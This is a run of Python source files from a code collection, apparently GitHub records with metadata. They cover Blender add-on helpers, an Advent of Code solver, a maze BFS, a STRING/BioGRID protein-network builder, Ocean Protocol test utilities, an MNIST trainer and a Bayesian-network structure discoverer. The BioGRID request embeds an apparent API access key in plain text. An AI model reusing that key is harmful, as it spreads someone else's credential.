1))\n\n matrix_rotate = mw.to_3x3()\n matrix_rotate = matrix_rotate @ axis_src.rotation_difference(axis_dst).to_matrix().inverted()\n matrix_translation = mathutils.Matrix.Translation(mw @ o)\n\n Normal_Matrix = matrix_translation @ matrix_rotate.to_4x4() @ mathutils.Vector(offset)\n Normal_Offset = object.matrix_world.inverted() @ Normal_Matrix\n\n return Normal_Offset\n\n#Utility\n\ndef object_switch_mode(object, mode):\n\n bpy.context.view_layer.update()\n\n Previous_Mode = object.mode\n\n if not object.visible_get():\n\n if not bpy.context.collection.objects.get(object.name):\n\n bpy.context.collection.objects.link(object)\n\n\n\n object.hide_viewport = False\n object.hide_set(False)\n\n object.hide_select = False\n\n if object.visible_get():\n\n object.select_set(True)\n bpy.context.view_layer.objects.active = object\n bpy.ops.object.mode_set(mode=mode, toggle=False)\n\n return Previous_Mode\n\ndef get_objects(mode, context):\n\n objects = context.selected_objects\n\n if mode == \"EDIT_MESH\":\n objects = [object for object in context.objects_in_mode]\n\n if mode == \"OBJECT\":\n objects = [object for object in context.selected_objects]\n\n return objects\n\ndef Add_Aim_Constraint(object, target):\n constraint = object.constraints.new(\"TRACK_TO\")\n constraint.target = target\n\n return constraint\n\ndef Apply_Constraint(object, constraint):\n\n bpy.context.view_layer.update()\n mw = object.matrix_world.copy()\n object.constraints.remove(constraint)\n object.matrix_world = mw\n\n#Create Object\n\ndef Create_Target_Empty(name, collection=None):\n\n object = bpy.data.objects.new(name, None)\n\n if collection:\n collection.objects.link(object)\n else:\n bpy.context.collection.objects.link(object)\n\n return object\n\ndef Create_Light_Data(name, type):\n data = bpy.data.lights.new(name, type)\n return data\n\ndef Create_Light(name, type=\"SUN\", light_data=None, collection=None):\n\n if light_data:\n light = light_data\n else:\n light = bpy.data.lights.new(name, type=type)\n\n object = bpy.data.objects.new(name, light)\n\n\n if collection:\n collection.objects.link(object)\n else:\n bpy.context.collection.objects.link(object)\n\n return object\n\n\n#Collection\ndef Find_Or_Create_Collection(use_collection, name):\n\n bpy.context.view_layer.update()\n\n Collection = None\n\n if use_collection:\n\n Collection = bpy.data.collections.get(name)\n\n if not Collection:\n Collection = bpy.data.collections.new(name)\n bpy.context.collection.children.link(Collection)\n\n return Collection\n\n#Nodes\ndef Get_Node_Inputs(node, slots):\n\n input = [link.from_node for link in node.inputs[slots].links]\n if len(input) == 0:\n return None\n else:\n return input[0]\n\ndef New_Node_To_Slot(node_tree, node_type ,from_node, from_slot, to_slot):\n\n nodes = node_tree.nodes\n new_node = nodes.new(node_type)\n new_node.location = from_node.location\n new_node.location.x -= 250\n\n node_tree.links.new(from_node.inputs[from_slot], new_node.outputs[to_slot])\n\n return new_node\n\ndef New_Node_To_Slot_Conflict_Check(node_tree, node_type ,from_node, from_slot, to_slot, conflict_solver):\n\n input_check = Get_Node_Inputs(from_node, from_slot)\n\n conflict = None\n\n if input_check:\n if input_check.type == node_type.replace(\"ShaderNode\", \"\").upper():\n new_node = input_check\n\n else:\n\n if conflict_solver == \"SKIP\":\n message = \"Node Tree Confict, Operation Skipped\"\n\n new_node = None\n conflict = message\n\n return {\"node\": new_node, \"conflict\": conflict}\n\n if conflict_solver == \"FORCE\":\n\n new_node = New_Node_To_Slot(node_tree, node_type ,from_node, from_slot, to_slot)\n message = \"Disconnected \" + input_check.name + \" and reconnected \" + new_node.name + \" to \" + from_node.name\n conflict = message\n\n return {\"node\": new_node, \"conflict\": conflict}\n\n else:\n new_node = New_Node_To_Slot(node_tree, node_type ,from_node, from_slot, to_slot)\n conflict = None\n\n return {\"node\": new_node, \"conflict\": conflict}\n\n return {\"node\": new_node, \"conflict\": conflict}\n\ndef get_input_nodes(self, node, types):\n\n for input in node.inputs:\n for link in input.links:\n\n from_node = link.from_node\n\n get_input_nodes(self, from_node, types)\n\n if from_node.type in types:\n self.is_emission = True\n self.input_nodes.append(from_node)\n\ndef find_input_nodes(self, data, types):\n\n self.input_nodes = []\n self.is_emission = False\n\n node_tree = data.node_tree\n output_node = node_tree.get_output_node('CYCLES')\n\n for input in output_node.inputs:\n for link in input.links:\n\n from_node = link.from_node\n\n get_input_nodes(self, from_node, types)\n\n if from_node.type == \"EMISSION\":\n self.is_emission = True\n\n if from_node.type in types:\n self.is_emission = True\n self.input_nodes.append(from_node)\n\n\n\ndef Append_New_Emission_Material(object, color=(1, 1, 1, 1), strength=1000):\n\n material = bpy.data.materials.new(object.name)\n object.data.materials.append(material)\n material.use_nodes = True\n\n principled_bsdf = material.node_tree.nodes.get(\"Principled BSDF\")\n output_node = material.node_tree.get_output_node(\"ALL\")\n\n material.node_tree.nodes.remove(principled_bsdf)\n emission = material.node_tree.nodes.new(type=\"ShaderNodeEmission\")\n\n material.node_tree.links.new(emission.outputs[\"Emission\"], output_node.inputs[\"Surface\"])\n\n emission.inputs[\"Color\"].default_value = color\n emission.inputs[\"Strength\"].default_value = strength\n\n return material\n\n\n\ndef check_bone_select(bone, mode):\n\n if mode == \"EDIT_ARMATURE\":\n return bone.select\n\n if mode == \"POSE\":\n return bone.bone.select\n","repo_name":"BlenderBoi/Radiant","sub_path":"Utility_Functions.py","file_name":"Utility_Functions.py","file_ext":"py","file_size_in_byte":24836,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"21982124824","text":"\"\"\"Advent of Code 2022 day 23\n\"\"\"\n\nfrom math import inf\nfrom collections import defaultdict\n\nEXAMPLE = \"\"\"\n....#..\n..###.#\n#...#.#\n.#...##\n#.###..\n##.#.##\n.#..#..\n\"\"\"\n\nEEXAMPLE=\"\"\"\n.....\n..##.\n..#..\n.....\n..##.\n.....\n\"\"\"\n\ndiam2d = [(-1, 0),(+1, 0),( 0,-1),( 0,+1)]\ncube2d = [(+1, 0),(-1, 0),( 0,+1),( 0,-1),(+1,+1),(-1, -1),(-1,+1),(+1,-1)]\n\ndef readdata(data=None):\n \"\"\"Read and parse the input data\"\"\"\n if data is None:\n with open(\"input23.txt\") as f:\n data = f.read()\n rows = data.splitlines()\n if len(rows[-1])==0:\n rows.pop()\n if len(rows[0])==0:\n rows.pop(0)\n elf=0\n Map = {}\n Pos = []\n for i in range(len(rows)):\n for j in range(len(rows[i])):\n if rows[i][j]==\"#\":\n Map[i,j]=elf\n Pos.append((i,j))\n elf += 1\n return Map,Pos\n\ndef print_map(Map,Pos):\n elves_pos=set(Pos)\n r0,c0,r1,c1 = rectangle(Map)\n for i in range(r0,r1+1):\n for j in range(c0,c1+1):\n if (i,j) == (0,0):\n print(\"O\",end=\"\")\n elif (i,j) in elves_pos:\n print(\"#\",end=\"\")\n else:\n print(\".\",end=\"\")\n print()\n\n\n\ndef rectangle(Map):\n r0,c0,r1,c1 = (+inf,+inf,-inf,-inf)\n for (i,j) in Map:\n r0 = min(i,r0)\n r1 = max(i,r1)\n c0 = min(j,c0)\n c1 = max(j,c1)\n return r0,c0,r1,c1\n\ndef make_one_round(M,P,R):\n elves_num = len(P)\n proposing = []\n for e in range(elves_num):\n er,ec = P[e]\n for dr,dc in cube2d:\n if (er+dr,ec+dc) in M:\n proposing.append(e)\n break\n # first half - move proposal\n Proposals = defaultdict(list)\n for e in proposing:\n er,ec = P[e]\n for p in range(R,R+4):\n dr,dc = diam2d[p % 4]\n if dr==0:\n test = [(er-1,ec+dc),(er,ec+dc),(er+1,ec+dc)]\n else:\n test = [(er+dr,ec-1),(er+dr,ec),(er+dr,ec+1)]\n if len([pos for pos in test if pos in M])==0:\n Proposals[(er+dr,ec+dc)].append(e)\n break\n # second half - move elves if no collision\n hasmoved=False\n for i,j in Proposals:\n if len(Proposals[i,j])==1:\n hasmoved=True\n e = Proposals[i,j][0]\n M.pop(P[e])\n M[i,j] = e\n P[e] = (i,j)\n return hasmoved\n\ndef part1(data=None):\n \"\"\"solve part 1\"\"\"\n M,P = readdata(data)\n elves_num = len(P)\n for R in range(10):\n make_one_round(M,P,R)\n r0,c0,r1,c1 = rectangle(M)\n print(\"part1:\",(r1-r0+1)*(c1-c0+1) - elves_num)\n\ndef part2(data=None):\n \"\"\"solve part 1\"\"\"\n M,P = readdata(data)\n elves_num = len(P)\n R = 0\n while make_one_round(M,P,R):\n R +=1\n print(\"part2:\",R+1)\n\n\nif __name__ == \"__main__\":\n part1(EXAMPLE)\n part1()\n part2(EXAMPLE)\n part2()\n","repo_name":"MassimoLauria/adventofcode","sub_path":"2022/code23.py","file_name":"code23.py","file_ext":"py","file_size_in_byte":2894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73352198915","text":"# 미로 탐색\n\nimport sys\nfrom collections import deque\ninput = sys.stdin.readline\nn, m = map(int, input().split())\ngraph = []\nvisited = [[False for i in range(m)] for j in range(n)]\nfor _ in range(n):\n graph.append(input().strip())\nvisited[0][0] = True\nresult = 10000\nqueue = deque([[0, 0, 1]])\ndx = [1, 0, -1, 0]\ndy = [0, 1, 0, -1]\nwhile queue:\n x, y, cnt = queue.popleft()\n if x == n-1 and y == m-1:\n print(cnt)\n break\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n if 0 <= nx < n and 0 <= ny < m:\n if (graph[nx][ny] == \"1\") and (not visited[nx][ny]):\n queue.append([nx, ny, cnt+1])\n visited[nx][ny] = True\n","repo_name":"JIH0LEE/CodingTest","sub_path":"jiho/DFS-BFS/2178.py","file_name":"2178.py","file_ext":"py","file_size_in_byte":702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26532700860","text":"from collections import defaultdict\nimport requests\nimport tqdm\nfrom graph_tool.all import *\nimport json\n\n\nclass protein_network:\n\n def __init__(self, score, genes, FC):\n\n self.genes = genes\n self.FC = dict(zip(self.genes, FC))\n self.interactions = []\n self.adjac_list = []\n self.trust_array = []\n self.score = score\n self.graph = []\n self.not_in_STRING = []\n self.in_biogrid = None\n\n def data_preprocessing(self, species=9606):\n\n string_api_url = \"https://string-db.org/api\"\n output_format = \"tsv-no-header\"\n method = \"network\"\n\n # Construct URL\n\n request_url = \"/\".join([string_api_url, output_format, method])\n\n # Set parameters\n my_genes = self.genes\n genes_in_string = []\n\n for gene in tqdm.tqdm(my_genes):\n\n params = {\n\n \"identifiers\": \"%0d\".join(gene), # your protein\n \"species\": species, # species NCBI identifier\n \"caller_identity\": \"www.awesome_app.org\" # your app name\n\n }\n\n # Call STRING\n\n response = requests.post(request_url, data=params)\n\n flag = True\n for line in response.text.strip().split(\"\\n\"):\n l = line.strip().split(\"\\t\")\n try:\n l[2]\n\n except IndexError:\n flag = False\n continue\n\n if flag:\n genes_in_string.append(gene)\n\n self.not_in_STRING = [x for x in self.genes if x not in genes_in_string]\n self.genes = genes_in_string\n\n print(len(genes_in_string))\n\n def API_request(self):\n\n # Preprocessing genes\n species = 9606\n self.data_preprocessing()\n\n string_api_url = \"https://string-db.org/api\"\n output_format = \"tsv-no-header\"\n method = \"network\"\n\n request_url = \"/\".join([string_api_url, output_format, method])\n\n my_genes = self.genes\n\n # Set parameters\n\n params = {\n\n \"identifiers\": \"%0d\".join(my_genes), # your protein\n \"species\": species, # species NCBI identifier\n \"caller_identity\": \"www.awesome_app.org\" # your app name\n\n }\n\n # Call STRING\n\n response = requests.post(request_url, data=params)\n\n interactions = []\n\n for line in response.text.strip().split(\"\\n\"):\n l = line.strip().split(\"\\t\")\n try:\n p1, p2 = l[2], l[3]\n # filter the interaction according to experimental score\n experimental_score = float(l[5])\n interactions.append((p1, p2, experimental_score))\n except IndexError:\n print(\"Getting an error\")\n print(response.text)\n\n self.interactions = interactions\n\n def BIOGRID_request(self):\n request_url = \"https://webservice.thebiogrid.org/\" + \"/interactions\"\n\n # List of genes to search for\n geneList = self.genes # Yeast Genes STE11 and NMD4\n evidenceList = [\"POSITIVE GENETIC\"]\n\n # These parameters can be modified to match any search criteria following\n # the rules outlined in the Wiki: https://wiki.thebiogrid.org/doku.php/biogridrest\n params = {\n \"accesskey\" : \"86ef3d2746f82a8c3644424ae4b5538c\",\n \"format\" : \"tab2\", # Return results in TAB2 format\n \"geneList\" : \"|\".join(geneList), # Must be | separated\n \"searchNames\" : \"true\", # Search against official names\n \"includeInteractors\" : \"true\",\n # Set to true to get any interaction involving EITHER gene, set to false to get interactions between genes\n \"taxId\" : 559292, # Limit to Homo Sapiens\n \"evidenceList\" : \"|\".join(evidenceList), # Exclude these two evidence types\n \"includeEvidence\" : \"true\",\n # If false \"evidenceList\" is evidence to exclude, if true \"evidenceList\" is evidence to show\n \"includeHeader\" : \"true\",\n \"includeInteractors\" : \"false\"\n }\n\n r = requests.post(request_url, params=params)\n interaction = r.text\n interactions =[]\n genes = []\n for line in interaction.strip().split(\"\\n\"):\n l = line.strip().split(\"\\t\")\n try:\n p1, p2 = l[7], l[8]\n # filter the interaction according to experimental score\n experimental_score = 1.0\n genes.append(p1)\n interactions.append((p1, p2, experimental_score))\n except IndexError:\n print(\"Getting an error\")\n print(interaction)\n print(interactions)\n self.interactions.extend(interactions[1:])\n print(genes)\n self.genes.extend(genes[1:])\n try:\n self.not_in_STRING.remove(genes[1 :])\n except ValueError:\n pass\n self.in_biogrid = genes[1:]\n\n\n # Pretty print out the results\n\n def creating_adj_list(self):\n\n self.API_request()\n self.BIOGRID_request()\n adja_list = defaultdict(list)\n scores = defaultdict(lambda: defaultdict(list))\n genes = self.genes\n\n for ind_i, line in enumerate(genes):\n for ind_j, col in enumerate(genes):\n for ind_k, inter in enumerate(self.interactions):\n if line == inter[0] and col == inter[1] and float(inter[2]) >= self.score:\n if adja_list[genes[ind_i]] != [] and adja_list[genes[ind_i]][-1] != inter[1]:\n adja_list[genes[ind_i]] .append(inter[1])\n scores[genes[ind_i]][inter[1]].append(float(inter[2]))\n elif adja_list[genes[ind_i]] == [] and inter[1] != \"\":\n adja_list[genes[ind_i]].append(inter[1])\n scores[genes[ind_i]][inter[1]].append(float(inter[2]))\n \"\"\"\n for gene in self.not_in_STRING:\n for gene_1 in self.genes + self.not_in_STRING:\n adja_list[gene] = []\n scores[gene][gene_1] = []\n \"\"\"\n self.adjac_list = adja_list\n self.trust_array = scores\n\n\n\n def creating_network(self):\n\n self.creating_adj_list()\n #gene_set = self.genes + self.not_in_STRING\n gene_set = self.genes\n g = Graph(directed=False)\n g.add_vertex(n=len(gene_set))\n print(len(gene_set))\n vprop_proteins = g.new_vp(\"string\")\n for i in range(len(gene_set)):\n vprop_proteins[i] = gene_set[i]\n g.vertex_properties['proteins'] = vprop_proteins\n eprop_scores = g.new_edge_property(\"double\")\n for gene in self.adjac_list.items():\n for inter in gene[1]:\n edge = g.add_edge(self.genes.index(gene[0]), self.genes.index(inter))\n eprop_scores[edge] = self.trust_array[gene[0]][inter][0]\n\n g.edge_properties[\"scores\"] = eprop_scores\n self.graph = g\n return g\n\n def writing_adj_lists(self):\n\n if self.graph:\n graph = self.graph\n else:\n graph = self.creating_network()\n ## добавить директорию для записи\n graph.save(\"~/Topo_Camp/genes.gt\")\n\n def visualising_graph(self, file):\n\n if self.graph:\n graph = self.graph\n else:\n graph = self.creating_network()\n\n return graph_draw(graph, output=file)\n\n","repo_name":"marie-minaeva/Topo_CM","sub_path":"Topo_CMap_project/protein_network.py","file_name":"protein_network.py","file_ext":"py","file_size_in_byte":7539,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9782619682","text":"import json\nimport os\nimport pathlib\nimport time\nimport uuid\n\nfrom ocean_lib.assets.asset import Asset\nfrom ocean_lib.data_provider.data_service_provider import DataServiceProvider\nfrom ocean_lib.models.algorithm_metadata import AlgorithmMetadata\nfrom ocean_lib.web3_internal.wallet import Wallet\nfrom ocean_utils.agreements.service_factory import ServiceDescriptor\nfrom ocean_utils.agreements.service_types import ServiceTypes\nfrom ocean_utils.ddo.metadata import MetadataMain\nfrom tests.resources.helper_functions import mint_tokens_and_wait\n\n\ndef get_resource_path(dir_name, file_name):\n base = os.path.realpath(__file__).split(os.path.sep)[1:-1]\n if dir_name:\n return pathlib.Path(os.path.join(os.path.sep, *base, dir_name, file_name))\n else:\n return pathlib.Path(os.path.join(os.path.sep, *base, file_name))\n\n\ndef get_metadata() -> dict:\n path = get_resource_path(\"ddo\", \"valid_metadata.json\")\n assert path.exists(), f\"{path} does not exist!\"\n with open(path, \"r\") as file_handle:\n metadata = file_handle.read()\n return json.loads(metadata)\n\n\ndef get_sample_ddo() -> Asset:\n return Asset(json_filename=get_resource_path(\"ddo\", \"ddo_sa_sample.json\"))\n\n\ndef get_sample_ddo_with_compute_service() -> Asset:\n return Asset(\n json_filename=get_resource_path(\"ddo\", \"ddo_with_compute_service.json\")\n )\n\n\ndef get_sample_algorithm_ddo() -> dict:\n path = get_resource_path(\"ddo\", \"ddo_algorithm.json\")\n assert path.exists(), f\"{path} does not exist!\"\n with open(path, \"r\") as file_handle:\n metadata = file_handle.read()\n return json.loads(metadata)\n\n\ndef get_algorithm_meta():\n algorithm_ddo_path = get_resource_path(\"ddo\", \"ddo_algorithm.json\")\n algo_main = Asset(json_filename=algorithm_ddo_path).metadata[\"main\"]\n algo_meta_dict = algo_main[\"algorithm\"].copy()\n algo_meta_dict[\"url\"] = algo_main[\"files\"][0][\"url\"]\n return AlgorithmMetadata(algo_meta_dict)\n\n\ndef get_access_service_descriptor(\n ocean_instance, address, date_created, provider_uri=None, timeout=3600\n):\n if not provider_uri:\n provider_uri = DataServiceProvider.get_url(ocean_instance.config)\n\n return ServiceDescriptor.access_service_descriptor(\n ocean_instance.assets.build_access_service(date_created, 1.0, address, timeout),\n DataServiceProvider.build_download_endpoint(provider_uri)[1],\n )\n\n\ndef get_computing_metadata() -> dict:\n path = get_resource_path(\"ddo\", \"computing_metadata.json\")\n assert path.exists(), f\"{path} does not exist!\"\n with open(path, \"r\") as file_handle:\n metadata = file_handle.read()\n return json.loads(metadata)\n\n\ndef get_registered_ddo(\n ocean_instance,\n metadata,\n wallet: Wallet,\n service_descriptor=None,\n datatoken=None,\n provider_uri=None,\n):\n metadata[\"main\"][\"files\"][0][\"checksum\"] = str(uuid.uuid4())\n if not service_descriptor:\n service_descriptor = get_access_service_descriptor(\n ocean_instance,\n wallet.address,\n metadata[MetadataMain.KEY][\"dateCreated\"],\n provider_uri,\n )\n\n block = ocean_instance.web3.eth.blockNumber\n asset = ocean_instance.assets.create(\n metadata,\n wallet,\n service_descriptors=[service_descriptor],\n data_token_address=datatoken,\n provider_uri=provider_uri,\n )\n ddo_reg = ocean_instance.assets.ddo_registry()\n log = ddo_reg.get_event_log(\n ddo_reg.EVENT_METADATA_CREATED, block, asset.asset_id, 30\n )\n assert log, \"no ddo created event.\"\n\n # Mint tokens for dataset and assign to publisher\n dt = ocean_instance.get_data_token(asset.data_token_address)\n mint_tokens_and_wait(dt, wallet.address, wallet)\n\n ddo = wait_for_ddo(ocean_instance, asset.did)\n assert ddo, f\"resolve did {asset.did} failed.\"\n\n return asset\n\n\ndef get_registered_ddo_with_access_service(ocean_instance, wallet, provider_uri=None):\n old_ddo = get_sample_ddo_with_compute_service()\n metadata = old_ddo.metadata\n metadata[\"main\"][\"files\"][0][\"checksum\"] = str(uuid.uuid4())\n service_descriptor = get_access_service_descriptor(\n ocean_instance,\n wallet.address,\n metadata[MetadataMain.KEY][\"dateCreated\"],\n provider_uri,\n )\n\n return get_registered_ddo(\n ocean_instance, metadata, wallet, service_descriptor, provider_uri=provider_uri\n )\n\n\ndef get_registered_ddo_with_compute_service(ocean_instance, wallet, provider_uri=None):\n old_ddo = get_sample_ddo_with_compute_service()\n metadata = old_ddo.metadata\n metadata[\"main\"][\"files\"][0][\"checksum\"] = str(uuid.uuid4())\n service = old_ddo.get_service(ServiceTypes.CLOUD_COMPUTE)\n compute_service = ServiceDescriptor.compute_service_descriptor(\n service.attributes, DataServiceProvider.get_url(ocean_instance.config)\n )\n\n return get_registered_ddo(\n ocean_instance, metadata, wallet, compute_service, provider_uri=provider_uri\n )\n\n\ndef get_registered_algorithm_ddo(ocean_instance, wallet, provider_uri=None):\n metadata = get_sample_algorithm_ddo()[\"service\"][0][\"attributes\"]\n metadata[\"main\"][\"files\"][0][\"checksum\"] = str(uuid.uuid4())\n service_descriptor = get_access_service_descriptor(\n ocean_instance,\n wallet.address,\n metadata[MetadataMain.KEY][\"dateCreated\"],\n provider_uri,\n )\n if \"cost\" in metadata[MetadataMain.KEY]:\n metadata[MetadataMain.KEY].pop(\"cost\")\n return get_registered_ddo(\n ocean_instance, metadata, wallet, service_descriptor, provider_uri=provider_uri\n )\n\n\ndef get_registered_algorithm_ddo_different_provider(ocean_instance, wallet):\n return get_registered_algorithm_ddo(\n ocean_instance, wallet, \"http://172.15.0.7:8030\"\n )\n\n\ndef wait_for_update(ocean, did, updated_attr, value, timeout=30):\n start = time.time()\n ddo = None\n while True:\n try:\n ddo = ocean.assets.resolve(did)\n except ValueError:\n pass\n\n if not ddo:\n time.sleep(0.2)\n elif ddo.metadata[\"main\"][updated_attr] == value:\n break\n\n if time.time() - start > timeout:\n break\n\n return ddo\n\n\ndef wait_for_ddo(ocean, did, timeout=30):\n start = time.time()\n ddo = None\n while not ddo:\n try:\n ddo = ocean.assets.resolve(did)\n except ValueError:\n pass\n\n if not ddo:\n time.sleep(0.2)\n\n if time.time() - start > timeout:\n break\n\n return ddo\n","repo_name":"faceincode/ocean.py","sub_path":"tests/resources/ddo_helpers.py","file_name":"ddo_helpers.py","file_ext":"py","file_size_in_byte":6526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"6862153871","text":"# code references https://github.com/yunjey/pytorch-tutorial/blob/master/tutorials/01-basics/feedforward_neural_network/main.py\n\nimport torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nimport pandas as pd\n\ndevice = torch.device('cude' if torch.cuda.is_available() else 'cpu')\n\n\n# hyperparameters\ninput_size = 784\nbatch_size = 64\nhidden_size = 100\nnum_classes = 10\nlearning_rate = 0.001\nnum_epochs = 10\nmodel_num=0\n\n# MNIST dataset\ntrain_dataset = torchvision.datasets.MNIST(root='../data',\n train=True,\n transform=transforms.ToTensor(),\n download=True)\n\ntest_dataset = torchvision.datasets.MNIST(root='../data',\n train=False,\n transform=transforms.ToTensor())\n\n\n# Data Loader\ntrain_loader = torch.utils.data.DataLoader(dataset=train_dataset,\n batch_size=batch_size,\n shuffle=True)\n\ntest_loader = torch.utils.data.DataLoader(dataset=test_dataset,\n batch_size=batch_size,\n shuffle=False)\n\nclass MLP(nn.Module):\n def __init__(self, input_size, hidden_size, num_classes):\n super().__init__()\n self.fc1 = nn.Linear(input_size, hidden_size)\n self.relu = nn.ReLU()\n self.fc2 = nn.Linear(hidden_size, num_classes)\n\n def forward(self, x):\n out = self.fc1(x)\n out = self.relu(out)\n out = self.fc2(out)\n return out\n\ndef get_trained_model():\n model = MLP(input_size, hidden_size, num_classes).to(device)\n\n # optimizer\n ce_loss = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n\n # Model training\n total_steps = len(train_loader)\n for epoch in range(num_epochs):\n for i, (images, labels) in enumerate(train_loader):\n images = images.reshape(-1, input_size).to(device)\n labels = labels.to(device)\n outputs = model(images)\n loss = ce_loss(outputs, labels)\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n if (i + 1) % 100 == 0:\n print(f'Epoch {epoch + 1}/{num_epochs}, Step [{i + 1}/{total_steps}], Loss:{loss:.4f}')\n return model\n\ndef evaluate_model(model):\n # Test the model\n with torch.no_grad():\n correct = 0\n total = 0\n for images, labels in test_loader:\n images = images.reshape(-1, input_size).to(device)\n labels = labels.to(device)\n output = model(images)\n _, predicted = torch.max(output.data, 1)\n total += labels.size(0)\n correct += (predicted==labels).sum().item()\n print(f'Accuracy of the network on the test images: {100 * correct/total}%')\n return 100 * correct/total\n\nif __name__==\"__main__\":\n for i in range(30):\n model = get_trained_model()\n torch.save(model.state_dict(), f'../model/model_{i}.ckpt')\n \n #calculate the accuracies\n accuracies = []\n for i in range(30):\n model = MLP(input_size, hidden_size, num_classes).to(device)\n model.load_state_dict(torch.load(f'../model/model_{i}.ckpt'))\n accuracy = evaluate_model(model)\n accuracies.append(accuracy)\n df = pd.DataFrame({'accuracy':accuracies})\n df.to_csv('accuracy.csv')","repo_name":"navee2/cs236-project","sub_path":"src/MLP_trainer.py","file_name":"MLP_trainer.py","file_ext":"py","file_size_in_byte":3564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41953357328","text":"import pandas as pd\n\nfrom _include.m_utils.adtree import ADTree\nfrom general.base import Base\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclass PrefixStructureDiscoverer(Base):\n \"\"\"\n Interface defining structure discoverers.\n \"\"\"\n\n def __init__(self, use_ADtree=False, fill_missing_values=False):\n \"\"\"\n :param use_ADtree: if set to True, then an ADtree will be used instead of a pandas dataframe\n Only working for TreeDiscoverers and AStarDiscoverer at the moment!!!\n :param fill_missing_values: if set to True, then missing values are handled as an extra value\n \"\"\"\n super(PrefixStructureDiscoverer, self).__init__(visual=True)\n self.use_ADtree = use_ADtree\n self.fill_missing_values = fill_missing_values\n self.data = None\n\n def discover_structure(self, sequences):\n \"\"\"\n This approach discovers the structure of a TSCBN.\n :param sequences: input sequences\n \"\"\"\n raise NotImplementedError(\"discover_structure() not implemented in class %s\" % str(__class__))\n\n def create_ordered_event_sequences(self, sequences):\n \"\"\"\n Takes the sequences as generated by the TSCBN structure generator and creates one ordered event sequence (one\n time only the signal names, the second time with value and timestamp) per sequence.\n Example for a ordered event sequence: <(V0, o0_1, 0.0), (V2, o2_0, 0.0), (V1, o1_0, 0.0), (V0, o0_0, 5.3)>\n Example without value and timestamp: \n Returns a mapping from the event sequences with value and timestamp to the ones without value and timestamp and\n a list of event sequences without value (necessary to correctly determine the frequencies).\n :param sequences: input sequences\n :return event_sequence_map: Map from event sequences with value and timestamp to event sequences\n without value and timestamp. Later in the algorithm, this map is used to correctly number the events.\n :return event_sequences: event sequences without value and timestamp\n :return extendend_event_sequences: event sequences with value and timestamp\n \"\"\"\n event_sequence_map = {} # surjective mapping from sequences with values to sequences without values\n event_sequences = []\n extendend_event_sequences = []\n for sequence in sequences:\n event_sequence = []\n event_sequence_with_values = []\n signal_event_number_dict = {} # remember number of already added events\n number_of_events = 0 # total number of events over all signals\n for signal in sequence:\n signal_event_number_dict.update({signal: 0})\n number_of_events += len(sequence.get(signal))\n for _ in range(number_of_events):\n next_event = None # next event to add the event sequence, determined by \"smallest\" timestamp\n next_signal = None # remember signal next_event belongs to\n for signal in sequence:\n event_number = signal_event_number_dict.get(signal)\n if event_number >= len(sequence.get(signal)):\n continue\n event = sequence.get(signal)[event_number]\n # Assumption: Initial interval of all signals starts at timestamp 0.\n assert event_number != 0 or event[1] == 0, 'Initial interval does not start at timestamp 0'\n if not next_event or event[1] < next_event[1]: # check if timestamp is \"smaller\"\n next_event = event\n next_signal = signal\n pass\n event_number = signal_event_number_dict.get(next_signal)\n event_number += 1\n signal_event_number_dict.update({next_signal: event_number})\n event_sequence.append(next_signal) # append the signal that belongs to next_event\n event_sequence_with_values.append(\n (next_signal, next_event[0], next_event[1])) # append event with smallest timestamp\n event_sequence_map.update({tuple(event_sequence_with_values): event_sequence})\n event_sequences.append(event_sequence)\n extendend_event_sequences.append(event_sequence_with_values)\n return event_sequence_map, event_sequences, extendend_event_sequences\n\n def get_datastructure(self, sequences):\n if self.use_ADtree:\n if not self.fill_missing_values:\n print('ADtree can only be used with missing values as extra value.')\n print('Parameter fill_missing_values was set to True.')\n self.fill_missing_values = True\n return self._create_adtree(sequences)\n return self._create_pandas_dataframe(sequences)\n\n def _create_adtree(self, sequences):\n \"\"\"\n This method creates the ADtree. It is used to efficiently answer queries about how many times several\n combinations of signal values occurred during the structure discovery. This approach is faster than using\n a pandas dataframe. However, missing values have to be treated as extra value.\n :param sequences: extendend and numbered event sequences\n :return: adtree: ADtree\n \"\"\"\n signals = set()\n signal_value_dicts = []\n for sequence in sequences:\n signal_value_dict = dict(sequence)\n signals |= set(signal_value_dict.keys())\n signal_value_dicts.append(signal_value_dict)\n return ADTree(signals, signal_value_dicts)\n\n def _create_pandas_dataframe(self, sequences):\n \"\"\"\n This method creates a pandas dataframe. It is used to efficiently answer queries about how many times several\n combinations of signal values occurred during the structure discovery. The usage of the pandas dataframe\n instead of ADtree allows using the pgmpy structure scores and structure discoverers.\n :param sequences: extendend and numbered event sequences\n :return: adtree: pandas dataframe\n \"\"\"\n signals = set()\n signal_value_dicts = []\n for sequence in sequences:\n signal_value_dict = dict(sequence)\n signals |= set(signal_value_dict.keys())\n signal_value_dicts.append(signal_value_dict)\n df = pd.DataFrame.from_records(signal_value_dicts)\n if self.fill_missing_values:\n df = df.fillna('MISSING_VALUE')\n\n # fill _0 entries with prev\n for c in df.columns:\n if not str.endswith(c, \"_0\"):continue\n prev_c = c[:-2] + \"_1\"\n if prev_c in df.columns:\n df[c] = df[c].combine_first(df[prev_c])\n\n # fill with last valid state e.g. S_1 replaced with S_0\n # ADDED BY ARTUR\n prev_c = None\n for c in df.columns:\n if prev_c is not None:\n df[c] = df[c].combine_first(df[prev_c])\n prev_c = c\n\n\n\n return df\n","repo_name":"arturmrowca/tscbn","sub_path":"_include/discoverer/prefix_structure_discoverer.py","file_name":"prefix_structure_discoverer.py","file_ext":"py","file_size_in_byte":7075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1206138407","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom 